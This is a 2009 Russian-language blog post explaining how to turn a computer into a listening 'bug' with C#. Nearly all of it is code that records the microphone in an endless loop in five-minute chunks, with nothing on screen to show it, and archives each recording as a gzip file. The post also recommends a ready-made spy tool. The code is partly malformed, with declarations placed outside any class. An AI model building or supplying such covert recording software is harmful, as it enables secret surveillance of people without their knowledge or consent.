Дек 26 2009
Делаем жучок из компьютера на c#
Вступление
Если в твой ноут или компьютер в стандартную конфигурацию входит микрофон, то будь на чеку тебя могу подслушивать и ты об этом можешь даже не узнать. Как? Ниже представленый код покажет вам как это можно сделать на c#. Код запросто переделать под любой другой язык программирования.
От теории к практике
Для реализации идеи я использовал библиотеку winmm.dll.
using System.Threading;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
//для начала сделаем импорт нужной нам функции
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
namespace WindowsFormsApplication1
{
static void Main()
{
while (true)
{
//откроем устройство для записи аудио с микрофона
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
//начнем запись
mciSendString("record recsound", "", 0, 0);
//остановим цикл на 5 минут, для сбора данных
Thread.CurrentThread.Join(300000);
//сбросим записанные данные в файл
mciSendString(@"save recsound C:\test.wav", "", 0, 0);
//закроем устройство записи
mciSendString("close recsound ", "", 0, 0);
//сгенерируем имя архива и сделаем архивацию аудион файла. Почему именно таким образон а не сразу в mp3? К сожалению mci не умеет писать в mp3, по непонятным пока мне причинам.
Random rand = new Random();
FileStream stream = new FileStream(@"C:\test.wav",FileMode.Open);
byte[] bytes = new byte[stream.Length];
stream.Read(bytes, 0, bytes.Length);
stream.Close();
//пакуем в gzip
GZipStream gzip = new GZipStream(File.Open(@"C:\test-" + rand.Next(1000, 5000) + ".gzip", FileMode.Create), CompressionMode.Compress);
gzip.Write(bytes,0,bytes.Length);
gzip.Close();
File.Delete(@"C:\test.wav");
}
}
}
Код прост до безобразия. Почему именно на c# спросите вы?
Потому что он хороший и я его люблю. =)
Готовые решения
В качестве готового решения, если не хочется изобретать велосипед, могу посоветовать mcispy написано сие чудо на делфи, проект находится на стадии тестирования.